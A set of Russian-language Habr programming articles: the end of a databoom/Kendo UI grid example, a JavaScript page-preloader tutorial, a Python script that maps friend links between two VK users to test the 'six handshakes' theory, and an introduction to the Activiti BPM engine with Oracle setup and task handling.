read: "https://samples.databoom.space/api1/sandboxdb/collections/user",
create: { url: "https://samples.databoom.space/api1/sandboxdb/collections/user" },
update: { url: "https://samples.databoom.space/api1/sandboxdb/collections/user" },
destroy: { url: function (data) {
return "https://samples.databoom.space/api1/sandboxdb/collections/user(" + data.id + ")";
} }
},
pageSize: 20,
serverPaging: true,
serverFiltering: true,
serverSorting: true,
schema: { model: { id: "id" } }
},
filterable: true, editable: true, toolbar: ["create", "save", "cancel"],
sortable: true,
pageable: true,
columns: ["firstname", "lastname", "email", "comment",
{ command: "destroy", title: " ", width: 150 }]
});
});
```
Сервер
======
Для обработки всех необходимых в данном примере запросов нам вообще не потребуется разрабатывать каких-либо кодов. Все запросы к базе данных полностью покрываются стандартом Odata, и databoom автоматически их обрабатывает.
Заключение
==========
Существует множество библиотек для упрощения web разработки, например: [Angular.js](https://angularjs.org/), [Bootstrap](http://getbootstrap.com/), [Kendo UI](http://www.telerik.com/kendo-ui), [DevExtreme Web](http://js.devexpress.com/webdevelopment/), [Syncfusion HTML5 controls](http://www.syncfusion.com/products/javascript), [Infragistics HTML5 controls](http://www.infragistics.com/products/jquery), [OpenUI5](http://openui5.org/), [Wijmo](http://wijmo.com/), [JayData](http://jaydata.org/), [Breeze.js](http://www.getbreezenow.com/), [datajs](http://datajs.codeplex.com/), [ODataJS](http://olingo.apache.org/doc/javascript/), [databoom](http://databoom.space/) и т.д. Каждая из них решает свою задачу. Удачный подбор совокупности библиотек под конкретную задачу может существенно сократить время разработки.
Использование готовых шаблонов форм с использованием перечисленных выше библиотек позволяет вести разработку «на лету» используя copy-paste и внося лишь мелкие изменения в код. | https://habr.com/ru/post/252657/ | null | ru | null |
# Делаем полноценный JS-прелоадер для AJAX-приложения
Многие программисты оптимизируют JavaScript и CSS-код, чтобы страница грузилась быстрее.
Но не все они делают прелоадеры, которые дают пользователю эффект субъективно более быстрой загрузки.
**Способ №1. Дешево и сердито.**
Идея проста — необходимо поместить по центру картинку, которая будет показывать пользователю, что страница все еще загружается. Код довольно прост, пишем сразу после :
> `1. <div id="preloaderbg" class="centerbg1">
> 2. <div class="centerbg2">
> 3. <div id="preloader">div>
> 4. div>
> 5. div>
> 6.
> 7. <script type="text/javascript">
> 8. document.getElementById('preloaderbg').style.display = 'block';
> 9. document.body.style.overflow = 'hidden';
> 10. script>
> \* This source code was highlighted with Source Code Highlighter.`
CSS-код:
> `1. .centerbg1 {
> 2. display: none;
> 3. width:100%;
> 4. height:100%;
> 5. position: absolute;
> 6. top: 0px;
> 7. left: 0px;
> 8. z-index: 1000;
> 9. background: url('/design/im/texture1.jpg') #3c363e;
> 10. }
> 11.
> 12. .centerbg2 {
> 13. position: absolute;
> 14. left: 50%;
> 15. top: 50%;
> 16. }
> 17.
> 18. #preloader {
> 19. top: -50%;
> 20. left: -50%;
> 21. position: relative;
> 22. width: 333px;
> 23. height: 26px;
> 24. background: url('/content/pages/articles/preloaders/bg2.gif');
> 25. border: solid #edda3d 2px;
> 26. }
> \* This source code was highlighted with Source Code Highlighter.`
В результате у нас сразу после загрузки появляется блок с анимированным прогрессбаром по центру страницы. Параметр overflow нужно менять для того, чтобы не появилась полоса прокрутки и пользователь не мог прокрутить вниз и поглядеть на содержимое странички.
Потом, когда все загрузилось — нужно убрать прелоадер и установить overflow в положение visible.
> `1. document.getElementById('loaderbg').style.display = 'none';
> 2. document.body.style.overflow = 'visible';
> \* This source code was highlighted with Source Code Highlighter.`
Эту часть кода я поместил в файл с JS-функциями, plreloader1.js
Если делать прогрессбар из анимированного GIF-рисунка, то он может получиться слишком тяжелым, порой даже больше самой странички, где его размещают.
Поэтому лучше нарисовать полоску (например, [такую](http://www.daken.ru/content/pages/articles/preloaders/bg2.gif)), поставить ее как фон у блока с ID preloader и двигать бекграунд-позишн по таймеру.
> `1. "text/javascript"</font>></li>
> <li> <font color="#0000ff">document</font>.getElementById(<font color="#A31515">'loaderbg'</font>).style.display = <font color="#A31515">'block'</font>;</li>
> <li> <font color="#0000ff">document</font>.body.style.overflow = <font color="#A31515">'hidden'</font>;</li>
> <li> pbPos = 0;</li>
> <li> pbInt = setInterval(<font color="#0000ff">function</font>() {</li>
> <li> <font color="#0000ff">document</font>.getElementById(<font color="#A31515">'preloader'</font>).style.backgroundPosition = ++pbPos + <font color="#A31515">'px 0'</font>;</li>
> <li> }, 25);</li>
> <li>
> \* This source code was highlighted with Source Code Highlighter.`
И после загрузки делаем вот что:
> `1. clearInterval(pbPos);
> 2. document.getElementById('loaderbg').style.display = 'none';
> \* This source code was highlighted with Source Code Highlighter.`
Результат работы можно посмотреть [тут](http://www.daken.ru/content/pages/articles/preloaders/test-1.html).
У этого способа есть недостатки — Если ставить скрытие прелоадера на onload, т.е. когда ждать, пока загрузятся все картинки, то пользователь может подумать, что страница просто зависла — фактически кроме анимации ничего не происходит. Если же вешать на $(document).ready() из jQuery, то после исчезновения прелоадера картинки только будут подгружаться.
Поэтому предлагается использовать…
**Способ №2. Истина где-то рядом, или джедаи наносят ответный удар.**
Для начала нарисуем 2 полосы загрузки — активную и не очень.
Поставим неактивную как фон, а активную сделаем фоном у дива, для которого будем менять ширину в зависимости от процента загрузки.
> `1. <div id="loaderbg" class="centerbg1">
> 2. <div class="centerbg2">
> 3. <div id="preloader">
> 4. <img alt="Загрузка..." src="/design/im/progbar\_ph.gif" />
> 5. <div id="progbarfg">div>
> 6. div>
> 7. div>
> 8. div>
> \* This source code was highlighted with Source Code Highlighter.`
progbar\_ph.gif – это картинка высотой в 1 пиксель и шириной с нашу полосу прокрутки (данный пример глючит без нее в IE, и я пока не нашел другого способа выровнять по центру див с прогрессбаром).
Стили такие же, как и в предыдущем способе, разве что
> `#progbarfg {width: 0px; background: url(‘/design/im/progbar\_fg.png’)}`
Теперь осталось сделать небольшой скрипт, который будет динамически подгружать содержимое сайта и картинки. Он нужен для того, чтобы прогрессбар показывался и изменялся еще до того, как скачается используемый фреймворк и другие JS-файлы.
Возьмем средний сайт, сделанный полностью на AJAX. Загрузка примерно происходит так:
* грузится HTML-код
* начинают грузиться картинки
* затем некий фреймворк
* дополнительные JS-файлы (хотя лучше все склеить в один)
* запускается некая функция (или несколько), которая стягивает дополнительный контент.
Всему этому (за вычетом CSS и HTML) мы назначаем вес в байтах (или условный вес), например, единицу, и по мере загрузки каждого файла (или выполнения функции) мы двигаем наш прогрессбар.
Я реализовал 2 метода — первый простой, включается так:
непосредственно перед пишем:
> `<script type="text/javascript">
>
> dLoader.start('progbarfg', 333, 'count');
>
> script>`
Первым параметром идет идентификатор блока с активной полосой загрузки в качестве фона, вторым — ширина картинки, третий параметр — это метод, которым будем считать вес контента.
Скрипт сканирует все картинки на страницы и назначает им вес равный 1. Все JS-файлы прописываются в его теле, как я расскажу чуть ниже.
Однако хочется, чтобы вес у каждой единицы контента был не единицей, а реальным объемом в байтах. Да и для AJAX-приложений хотелось бы сразу подгрузить всю графику.
Для этого я написал скрипт на PHP, который сканирует папку с картинками оформления и заносит это все дело с размерами файлов в массив, опционально сжимая.
Так что дописав перед следущее, мы получим прогрессбар, который будет показывать ход загрузки всего контента на странице, после чего плавно исчезнет.
> `1. "text/javascript"</font>></li>
> <li> dLoader.start(<font color="#A31515">'mainprogbarfg'</font>, 333, <font color="#A31515">'size'</font>, <font color="#0000ff">function</font>(){ $(<font color="#A31515">'#preloaderbg'</font>).fadeOut(250); }); </li>
> <li>
> \* This source code was highlighted with Source Code Highlighter.`
Когда загрузились все JS-файлы, запускаются функции, которые есть в массиве invoke. Если мы с помощью jQuery подгружаем контент, то функция будет выглядить так:
> `1. function fn(callBack){
> 2. $.get('/', params, function(data){ someHandler(data); eval(callBack); });
> 3. }
> \* This source code was highlighted with Source Code Highlighter.`
PHP-скрипт делает следующее: он заносит в массив необходимые скрипты с их размерами, а так же картинки и дополнительные функции. Код:
> `1. $data['js'] = array(
> 2. array('path' => 'jquery-1.2.6.min.js', 'size' => filesize($jsRoot.'/jquery-1.2.6.min.js')),
> 3. array('path' => 'functions.js', 'size' => filesize($jsRoot.'/functions.js'))
> 4. );
> 5. $data['im'] = GetFiles($imgRoot, true);
> 6. $data['invoke'][] = array(
> 7. 'action' => 'loadTemplates',
> 8. 'size' => GetDirSize(dirname(\_\_FILE\_\_).'/design/ajax templates/', false)
> 9. );
> 10. $data['jspath'] = '/design/js/';
> 11. $data['impath'] = '/design/im';
> \* This source code was highlighted with Source Code Highlighter.`
Уже после того, как загрузились все картинки и JS-файлы, вызывается событие onLoad, которое вы указали в функции dLoader.start()
Еще есть способ кастомизации процесса загрузки:
> `1. dLoader.userProgress = function(bytesLoaded, totalBytes){ doSmth(); }
> \* This source code was highlighted with Source Code Highlighter.`
Для того, чтобы использовать это, нужно отредактировать PHP-скрипт, прописав в нем свои пути и JS-библиотеки, затем запустить его, чтобы он сгенерировал скрипт загрузчика, который потом нужно прописать в единственным скриптом.
Работающий пример второго варианта лежит [здесь](http://www.daken.ru/content/pages/articles/preloaders/test-2.html).
Архив со скриптами можно взять [отсюда](http://www.daken.ru/upload/projects/dLoader.zip), ну а посмотреть, как это все работает — на [моем сайте](http://www.daken.ru/).
Работает в Internet Explorer 6/7, Firefox 3, Opera 9.5, Safari 3.2.1
Пожелания и предложения приветствуются :)
Спасибо за помощь в подготовке статьи [waitekk](https://habrahabr.ru/users/waitekk/) отсыпьте ему кармы ~~а мне еще травы~~ | https://habr.com/ru/post/46210/ | null | ru | null |
# Проверка теории шести рукопожатий
Хочу рассказать о своем эксперименте по проверке [«Теории шести рукопожатий»](https://ru.wikipedia.org/wiki/Теория_шести_рукопожатий). На написание этого материала меня вдохновила статья [«Анализ дружеских связей VK с помощью Python»](http://habrahabr.ru/post/221251/) (чтобы избежать повторений, в дальнейшем я буду ссылаться на нее). Так как в целом задача мной была поставлена по-другому, да и использованные методы тоже отличаются, то я решил что это может быть интересно.
Формулировка задачи: визуализировать все связи между двумя пользователями внутри одной социальной сети. При этом связи не должны дублироваться, например если Ваня знает Петю через Олю, то Оля в дальнейших итерациях по поиску общих друзей не участвует. Чтобы попрактиковаться в API, я выбрал “Вконтакте”.
Отталкиваясь от ограничений API и функциональности методов, было решено, что оптимальным количеством «рукопожатий» с позиции времени получения информации будет 3. Так что проверять все-таки будем «Теорию трех рукопожатий», пока что. Таким образом при среднем количестве друзей 200, мы получаем выборку из 8 млн. человек. Например, в масштабах Украины я практически всегда находил связи.
Структурно задачу можно разбить на следующие этапы:
1. Поиск общих друзей между исходным пользователем 1 (user\_1) и исходным пользователем 2 (user\_2).
2. Поиск общих друзей между user\_2 и друзьями user\_1.
3. Поиск общих друзей между друзьями user\_2 и друзьями user\_1.
4. Получение детальной информации о найденных связях.
5. Визуализация.
Итак, что нам понадобится:
```
import requests
import time
from threading import Thread
from tokens import *
```
[Requests](http://docs.python-requests.org/en/latest/) — распространенная HTTP библиотека для Python, описана в статье [«Библиотека для упрощения HTTP-запросов»](http://habrahabr.ru/post/126262/).
[Time](https://docs.python.org/2/library/time.html) — базовый модуль, название которого говорит само за себя. Будем использовать для введения задержек во времени.
[Threading](https://docs.python.org/2/library/threading.html) — базовый модуль для работы с потоками. Хорошо описан в статье [«Учимся писать многопоточные и многопроцессные приложения на Python»](http://habrahabr.ru/post/149420/).
Tokens — файл tokens.py будет содержать OAuth токены для авторизации в API. Как получить токен описано в [исходной статье](http://habrahabr.ru/post/221251/), а также на [странице API «Вконтакте»](https://vk.com/dev/auth_mobile).
Прежде чем приступать к первому этапу, тезисно остановлюсь на функциональности API и некоторых ограничениях:
* Для обращения к методу API используется POST или GET запрос.
* Список использованных мной методов: [users.get](https://vk.com/dev/users.get), [friends.get](https://vk.com/dev/friends.get), [friends.getMutual](https://vk.com/dev/friends.getMutual), [execute](https://vk.com/dev/execute).
* Метод [execute](https://vk.com/dev/execute) позволяет запускать до 25 методов одним запросом.
* В секунду можно осуществить не более 3 запросов (используя один токен).
* Ограничение для параметра target\_uids метода [friends.getMutual](https://vk.com/dev/friends.getMutual) — 300. Об этом более подробно остановлюсь ниже.
Таким образом глобально схема сводится к отправке GET запросов на сервер «Вконтакте» и анализу ответов от сервера в формате json. При этом для оптимизации времени мы используем метод [execute](https://vk.com/dev/execute) и многопоточность.
Ремарка к исходной статье, которая меня вдохновила. Автор статьи [STLEON](https://habrahabr.ru/users/stleon/) использует метод [friends.getMutual](https://vk.com/dev/friends.getMutual) в режиме “один к одному”, используя параметр target\_uid. Я полагаю, что это было вызвано отсутствием параметра target\_uids в прошлой версии API. Я же использую этот метод в режиме “один к многим”, что значительно экономит время. Параметр target\_uids имеет ограничение на длину строки, о котором я ничего не нашел в документации. Экспериментально было установлено, что максимальная длина составляет порядка 310-330 UID в зависимости от длины каждого идентификатора. Я округлил этот показатель до 300.
Все выше сказанное подытожим объявлением следующих констант:
```
f_1_max = 300
f_2_max = 24
t = 0.35
```
Почему f\_2\_max = 24, а не 25, будет ясно позже.
### Этап 1. Поиск общих друзей между user\_1 и user\_2
Напишем функцию, с помощью которой мы будем общаться с сервером «Вконтакте» посредствам GET запроса:
```
def vk (method, parameters, token):
return requests.get('https://api.vk.com/method/%s?%s&access_token=%s' % (method, '&'.join(parameters), token)).json()
```
У этой функции есть три аргумента:
* method — название метода, к которому мы обращаемся через API.
* parameters — параметры этого метода (можно найти в описании каждого метода).
* token — строка, которая авторизирует Вас на сервере. Повторюсь, что получение токена подробно описано [здесь](http://habrahabr.ru/post/221251/) и [здесь](https://vk.com/dev/auth_mobile).
Далее для сохранения всей собранной информации мы будем использовать множества. Инициализируем множества для каждого из трех “рукопожатий”.
```
edges_1, edges_2, edges_3 = set(), set(), set()
```
Для выполнения условия, чтобы связи не дублировались и Оля не фигурировала как общий друг Пети и Вани во всех трех “рукопожатиях”, а только в первом, необходимо ввести фильтры. Сразу же добавляем в фильтр первого “рукопожатия” исходных пользователей.
```
filter_1, filter_2 = set(), set()
filter_1.update([user_1, user_2])
```
Находим друзей user\_1 с помощью вызова метода [friends.get](https://vk.com/dev/friends.get). После выполнения обращения к методу API, вводим необходимую задержу во времени t = 0.35. Заметьте, что одним из параметров является версия API (v=5.4 в моем случае). Очень важно везде ее указывать, потому что могут появиться несоответствия. Параметры метода order и count — использовать опционально.
```
friends_1 = set(vk('friends.get', ['user_id=%s' % user_1, 'order=hints', 'count=900', 'v=5.4'], token_1)['response']['items'])
time.sleep(t)
```
Далее переходим непосредственно к поиску общих друзей между user\_1 и user\_2 с помощью вызова метода [friends.getMutual](https://vk.com/dev/friends.getMutual).
```
mutual_friends = vk('friends.getMutual', ['source_uid=%s' % user_1, 'order=hints', 'target_uid=%s' % user_2, 'v=5.4'], token_1)['response']
time.sleep(t)
```
И последний пункт первого этапа — сохранение информации в множество edges\_1, обновление filtr\_1 и удаление найденных общих друзей из списка друзей user\_1, чтобы избежать повторений в будущем.
```
for user in mutual_friends:
edges_1.update([(user_1, user), (user, user_2)])
friends_1.remove(user)
filter_1.update([user])
```
### Этап 2. Поиск общих друзей между user\_2 и друзьями user\_1 (friends\_1)
Глобально второй этап повторяет первый, вся разница в том, что вместо поиска общих друзей в режиме “один к одному”, мы используем режим “один к многим”, что требует несколько лишних строк кода.
Инициализируем список, в который будем сохранять добытых друзей, а также некоторые переменные, которые нам понадобятся в промежуточных вычислениях.
```
user_1_mutual_friends, temp_users, j = [], [], 0
```
Далее, отсчитывая порции (не самое подходящее слово) из друзей user\_1 по 300 UID, мы поочередно отправляем запросы к серверу об общих друзьях между user\_2 и порцией UID, которые записываются в параметр target\_uids метода [friends.getMutual](https://vk.com/dev/friends.getMutual).
```
for i, friend in enumerate(friends_1):
temp_users += [friend]
j += 1
if j == f_1_max:
user_1_mutual_friends += vk('friends.getMutual', ['source_uid=%s' % user_2, 'order=hints', 'target_uids=%s' % str(temp_users)[1:-1], 'v=5.4'], token_1)['response']
temp_users, j = [], 0
time.sleep(t)
if i == len(friends_1) - 1 and len(friends_1) % f_1_max != 0:
user_1_mutual_friends += vk('friends.getMutual', ['source_uid=%s' % user_2, 'order=hints', 'target_uids=%s' % str(temp_users)[1:-1], 'v=5.4'], token_1)['response']
time.sleep(t)
```
Сохраняем полученную информацию в множество edges\_2 и обновляем информацию в фильтре, как было в предыдущем этапе. Здесь могут быть исключения, допустим если UID закрыл доступ к общим друзьям или страница пользователя удалена, поэтому используем конструкцию [try-except](https://docs.python.org/2/tutorial/errors.html).
```
for friend in user_1_mutual_friends:
if friend['id'] != user_2 and friend['id'] not in filter_1:
try:
if friend['common_count'] > 0:
for common_friend in friend['common_friends']:
if common_friend != user_1 and common_friend not in filter_1:
edges_2.update([(user_1, friend['id']), (friend['id'], common_friend), (common_friend, user_2)])
friends_1.remove(friend['id'])
filter_2.update([friend['id'], common_friend])
except:
continue
```
### Этап 3. Поиск общих друзей между друзьями user\_2 и друзьями user\_1
Данный этап является наиболее затратным по времени, так как запросов отправить нужно очень много. Именно здесь невозможно обойтись без использования метода execute. Из практики скажу, что без использования многопоточности, время на выполнение данного этапа по этому алгоритму составляет 50 — 120 секунд, а в некоторых случаях еще больше.
С помощью использования нескольких потоков возможно свести время до выполнения одного запроса execute, который обрабатывается от 5 до 12 секунд.
Объявляем filter\_3, объединяя множества filter\_1 и filter\_2. Преобразуем множество друзей user\_1 (friends\_1) в список.
```
filter_3 = filter_1.union(filter_2)
friends_1 = list(friends_1)
```
Далее последует монстрозный блок кода, в котором мы объявляем функцию для поиска общих друзей между друзьями user\_1 и друзьями user\_2 и сохранения информации в множество edges\_3. Здесь опять-таки весь алгоритм такой же, как и в предыдущих этапах, только используется принцип “многие ко многим”, что еще больше усложняет код, тем более в моей имплементации он явно избыточный, так что вам есть над чем поработать. Ниже я приведу некоторые пояснения к этому многобуквию.
```
def get_edges_3 (friends_1, token):
prefix_code = 'code=var friends = API.friends.get({"v": "5.4", "user_id":"%s", "count":"500", "order": "hints"}).items; ' % user_2
lines, j, k = [], 0, -1
for i, friend in enumerate(friends_1):
lines += ['API.friends.getMutual({"v": "5.4", "source_uid": "%s", "count":"500", "target_uids": friends})' % friend] # Generating string for 'execute' request.
j += 1
if j == f_2_max:
code = prefix_code + 'return [' + ','.join(str(x) for x in lines) + '];'
response = vk('execute', [code, 'v=5.4'], token_1)
for friends in response['response']:
k += 1
if len(edges_3) < max_edges_3:
try:
for one_friend in friends:
if one_friend['common_count'] > 0:
for common_friend in one_friend['common_friends']:
if common_friend not in filter_3 and one_friend['id'] not in filter_3:
edges_3.update([(user_1, friends_1[k]), (friends_1[k], common_friend), (common_friend, one_friend['id']), (one_friend['id'], user_2)])
except:
continue
lines, j = [], 0
time.sleep(t)
if i == len(friends_1) - 1 and len(friends_1) % f_2_max != 0 :
code = prefix_code + 'return [' + ','.join(str(x) for x in lines) + '];'
response = vk('execute', [code, 'v=5.4'], token_1)
for friends in response['response']:
k += 1
if len(edges_3) < max_edges_3:
try:
for one_friend in friends:
if one_friend['common_count'] > 0:
for common_friend in one_friend['common_friends']:
if common_friend not in filter_3 and one_friend['id'] not in filter_3:
edges_3.update([(user_1, friends_1[k]), (friends_1[k], common_friend), (common_friend, one_friend['id']), (one_friend['id'], user_2)])
except:
continue
time.sleep(t)
```
Сумма строк prefix\_code и lines представляет собой код в формате VKScript и является единственным параметром для метода [execute](https://vk.com/dev/execute). Этот скрипт содержит в себе 25 обращений к методам API.
prefix\_code — часть строки, содержащая обращение №1 к методу [friends.get](https://vk.com/dev/friends.get). Здесь мы получаем список друзей user\_2 и присваиваем его переменной friends.
lines — вторая часть строки, содержащая обращения №№ 2-25 к методу [friends.getMutual](https://vk.com/dev/friends.getMutual). Здесь мы получаем список общих друзей между каждым из 24 друзей user\_1 и списком друзей user\_2. В цикле мы складываем prefix\_code и 24 строки lines, таким образом получая строку code, которую используем как параметр к методу [execute](https://vk.com/dev/execute).
Далее я приведу пример с использованием нескольких потоков, но подробно не буду останавливаться на нем. Всю информацию можно найти в статье [«Учимся писать многопоточные и многопроцессные приложения на Python»](http://habrahabr.ru/post/149420/).
```
t1 = Thread(target=get_edges_3, args=(friends_1[ : len(friends_1) * 1/3], token_1))
t2 = Thread(target=get_edges_3, args=(friends_1[len(friends_1) * 1/3 : len(friends_1) * 2/3], token_2))
t3 = Thread(target=get_edges_3, args=(friends_1[len(friends_1) * 2/3 : ], token_3))
t1.start()
t2.start()
t3.start()
t1.join()
t2.join()
t3.join()
```
### Этап 4. Получение детальной информации о найденных связях
Теперь мы должны сложить все ребра нашего еще непостроенного графа друзей и извлечь из них список вершин. Далее по описанному выше шаблону с помощью метода [users.get](https://vk.com/dev/users.get) порциями по 300 UID отправляем запросы на получение данных о фамилии и имени пользователей. На выходе получаем список, в каждой ячейке которого будет UID и словарь с информацией о данном UID. Эти данные в комплексе с множествами ребер в дальнейшем используем для визуализации.
```
edges = list(edges_1) + list(edges_2) + list(edges_3)
nodes = []
for edge in edges:
nodes += [edge[0], edge[1]]
nodes = list(set(nodes))
nodes_info, temp_nodes, j = [], [], 0
for i, node in enumerate(nodes):
temp_nodes += [node]
j += 1
if j == f_1_max:
nodes_info += vk('users.get', ['user_ids=%s' % str(temp_nodes)[1:-1], 'fields=first_name, last_name', 'v=5.4'], token_1)['response']
temp_nodes, j = [], 0
time.sleep(t)
if i == len(nodes) - 1 and len(nodes) % f_1_max != 0:
nodes_info += vk('users.get', ['user_ids=%s' % str(temp_nodes)[1:-1], 'fields=first_name, last_name', 'v=5.4'], token_1)['response']
time.sleep(t)
for i, node in enumerate(nodes_info):
try:
nodes[i] = (nodes[i], {'first_name': node['first_name'], 'last_name': node['last_name']})
except:
continue
```
### Этап 5. Визуализация
На технической реализации этого этапа я подробно останавливаться не буду. Опишу лишь кратко свой опыт.
Как и в исходной статье, я пробовал использовать библиотеку [networkx](http://networkx.github.io/documentation/latest/overview.html) для построения графа. Изменял диаметр и цвет вершин в зависимости от пола или количества связей, испробовал много методов визуализации, которые доступны в этой библиотеке, но результат мне не нравился. Беспорядочный граф получался не информативным при среднем и большом количестве ребер и вершин. Информация терялась.
Я пришел к выводу, что необходимо какое-то интерактивное решение. Первым, что я нашел, была библиотека [D3.js](http://d3js.org). Но и здесь в формате обычного графа, несмотря на интерактивность, результат был неудовлетворительным. Затем в той же библиотеке был найден пример древовидного построения [“Radial Reingold–Tilford Tree”](http://bl.ocks.org/mbostock/4063550), который мне показался подходящим. При таком построении в центре оказывается user\_1, а user\_2 — как бы на краю каждой ветви дерева.
Я смоделировал всю связку с использованием веб-фреймворка [СherryPy](http://www.cherrypy.org) и результат меня удовлетворил, хотя и пришлось все равно ввести ограничения для отображаемых данных (в зависимости от типа и количества найденных связей). Я намеренно опустил подготовку данных для визуализации, так как эта процедура не представляет интереса и отличается в зависимости от выбранного метода. Мой вариант кода доступен на [репозитории GitHub](https://github.com/InspiredByData/social-media-spy), где также описана подготовка данных для использования с библиотекой [D3.js](http://d3js.org) на примере шаблона [“Radial Reingold–Tilford Tree”](http://bl.ocks.org/mbostock/4063550).
Еще было бы интересно отобразить взаимосвязи между списком друзей вот таким образом (см. рисунок ниже), так что можете экспериментировать. Этот пример взят также из [D3.js](http://d3js.org) и называется он [D3 Dependencies](https://www.jasondavies.com/d3-dependencies/).
Что касается проверки теории, то в масштабах Украины схема с тремя рукопожатиями работает в 90% случаев. Исключения составляют пользователи с очень маленьким количеством друзей.
Спасибо за внимание. | https://habr.com/ru/post/273191/ | null | ru | null |
# Activiti — Business process engine
Activiti framework (Java) — описание потока задач на XML (bpm) и управление этим процессом. Здесь опишу основные базовые понятия и как строить простые бизнес процессы.
Основное понятие Activiti это процесс (process) и задача (task). Процесс это все задачи связанные между собой направленными потоками и ветвлениями.
Затрону такие аспекты:
* — Activiti в чистом виде
* — Пользователи, Роли
* — Подключение SpringBoot
* — REST API
* — Job и Delegate
Движение по потокам идет шагами от задачи к задаче, каждый такой шаг приостанавливает выполнение процесса ожидая входных данных и выполнения задачи, все промежуточные действия сохраняются в базу данных.
Где, что брать укажу ниже. Начнем с простого примера — процесс разработки программы, который состоит из написания кода и тестирования. Ниже диаграмма процесса.
Вот это все есть процесс, он имеет ИД, Имя и др характеристики.
В нем есть:
Начало процесса, две задачи «Develop» и «Test», одно ветвление (gateway) и окончание процесса. В словах все происходит так:
* загружаем описание bpm
* стартуем процесс
* после старта сразу попадаем в задачу Develop
* после выполнения Develop она переходит в тестирование и по результату тестирования процесс завершается либо возвращается опять на разработку.
Activiti состоит из некоторого набора сервисов
Вот основные:
* RepositoryService: управляет загрузкой описания процессов
* RuntimeService: запускает процессы
* TaskService: выполняет задачи
* FormService: доступ к переменным задачи
* HistoryService: доступ к истории выполнения процесса
* IdentityService: Пользователи и Роли
### Activiti в чистом виде
Но начинается все с конфигурации и файла — activiti.cfg.xml.
Вот с этого
```
ProcessEngineConfiguration cfg = ProcessEngineConfiguration
.createProcessEngineConfigurationFromResource("activiti.cfg.xml");
```
Если не использовать свою конфигурацию, то Activiti сам развернет базу данных в памяти H2, меня это не устраивает, а вот мой любимый Oracle вполне, возможности подключения разных БД есть.
Вот моя конфигурация
**activiti.cfg.xml**
```
xml version="1.0" encoding="UTF-8"?
```
Меняем значения в «property name=jdbc \* » и подключаем другую БД
Структура проекта
**POM**
```
xml version="1.0" encoding="UTF-8"?
4.0.0
DemoActiviti
DemoActiviti
1.0-SNAPSHOT
UTF-8
1.8
org.activiti
6.0.0
activiti-spring-boot-starter-integration
org.slf4j
slf4j-api
1.7.21
org.slf4j
slf4j-log4j12
1.7.21
com.oracle
ojdbc6
11.2.0
org.apache.maven.plugins
maven-assembly-plugin
2.4.1
jar-with-dependencies
com.example.DemoActiviti
make-assembly
package
single
org.apache.maven.plugins
maven-compiler-plugin
1.8
```
Наличие в POM плагина «maven-assembly-plugin», позволит собирать (package) запускаемый jar с зависимостями и запускать —
```
java -jar DemoActiviti-1.0-SNAPSHOT-jar-with-dependencies.jar
```
jdbc driver для Oracle установил в локальный maven репозиторий
```
mvn install:install-file -Dfile={Path/to/your/ojdbc6.jar}
-DgroupId=com.oracle -DartifactId=ojdbc6 -Dversion=11.2.0 -Dpackaging=jar
```
**log4j**
```
log4j.rootLogger=WARN, ACT
log4j.appender.ACT=org.apache.log4j.ConsoleAppender
log4j.appender.ACT.layout=org.apache.log4j.PatternLayout
log4j.appender.ACT.layout.ConversionPattern= %d{hh:mm:ss,SSS} [%t] %-5p %c %x - %m%n
```
Для этого процесса определим 4-ре действия: загрузка bpm, старт процесса, разработка и тестирование. Каждое действие будет иметь соответствующий параметр: deploy, start, develop, test.
Скрипты для базы данных берем из
[activiti-get-started](https://www.activiti.org/get-started)
там в папке \activiti-6.0.0\activiti-6.0.0\database\create — скрипты для создания БД
### Пользователи, Роли
Подготовим пользователей и роли:
**Identity**
```
public class DemoActiviti {
private static final String DEV_PROCESS = "devProcess";
public static void main(String[] args) {
Locale.setDefault(Locale.ENGLISH);
ProcessEngineConfiguration cfg = ProcessEngineConfiguration
.createProcessEngineConfigurationFromResource("activiti.cfg.xml");
ProcessEngine processEngine = cfg.buildProcessEngine();
createIdentity(processEngine, "programmer", "programmers");
createIdentity(processEngine, "tester", "testers");
}
public static void createIdentity(ProcessEngine processEngine, String userName, String userGroup) {
IdentityService identityService = processEngine.getIdentityService();
String userId = userName + "Id";
if (identityService.createUserQuery().userId(userId).count() == 0) {
User user = identityService.newUser(userName);
user.setId(userId);
user.setEmail(userName + "@gmail.com");
identityService.saveUser(user);
System.out.println("user created success fully");
}
String groupId = userGroup + "Id";
if (identityService.createGroupQuery().groupId(groupId).count() == 0) {
Group group = identityService.newGroup(userGroup);
group.setName(userGroup);
group.setId(groupId);
identityService.saveGroup(group);
System.out.println("group created success fully");
}
if (identityService.createGroupQuery().groupId(groupId).list().size() > 0) {
identityService.createMembership(userId, groupId);
System.out.println("user to group success fully");
}
}
}
```
Создадим пользователей и группы, разработчик и тестировщик соответственно.
В базе данных все таблицы разделены по соответствующим сервисам и имеют префиксы
ACT\_RE\_\*: repository.
ACT\_RU\_\*: runtime.
ACT\_ID\_\*: identity.
ACT\_HI\_\*:history
и пр.
После создания пользователей из можно посмотреть здесь
Наши задачи в описании назначим соответствующим группам (CandidateGroup), так например задачу Develop группе — programmers
И так первое что делаем размещаем в БД «MyProcess.bpmn», запускаем программу с командой **deploy**
```
java -jar DemoActiviti-1.0-SNAPSHOT-jar-with-dependencies.jar deploy
```
далее стартуем процесс **start**
```
java -jar DemoActiviti-1.0-SNAPSHOT-jar-with-dependencies.jar start
```
После delpoy и start процесса в базе появятся соответствующие записи.
Репозиторий
Runtime, какая задача на исполнении
кому назначена
В коде это выглядит так (полный код будет ниже):
**deploy**
```
deployment = repositoryService.createDeployment()
.addClasspathResource("processes/MyProcess.bpmn").deploy()
```
**start**
```
ProcessInstance myProcess = runtimeService.startProcessInstanceByKey(DEV_PROCESS);
```
**develop**
После этого можно приступить к выполнения задачи на разработку
```
java -jar DemoActiviti-1.0-SNAPSHOT-jar-with-dependencies.jar develop
```
```
// Задачи для разработчика
tasks = taskService.createTaskQuery().taskCandidateGroup("programmers").list();
```
В задаче Develop определена одна переменная «issue»
После обработки переменных с помощью FormService, задача выполняется
```
for (Task task : tasks) {
System.out.println("Task:" + task.getTaskDefinitionKey() + ", id=" + task.getId());
FormData formData = formService.getTaskFormData(task.getId());
Map variables = new HashMap();
// переменные задачи
for (FormProperty formProperty : formData.getFormProperties()) {
System.out.println("Enter varName <" + formProperty.getName() +">:");
String value = scanner.nextLine();
variables.put(formProperty.getId(), value);
}
// выполняем задачу
taskService.complete(task.getId(), variables);
System.out.println("Task complete success:" + task.getTaskDefinitionKey());
}
```
Для задачи Develop будет предложено ввести переменную.
В историчной таблице можно увидеть переменные и значения задачи, процесса
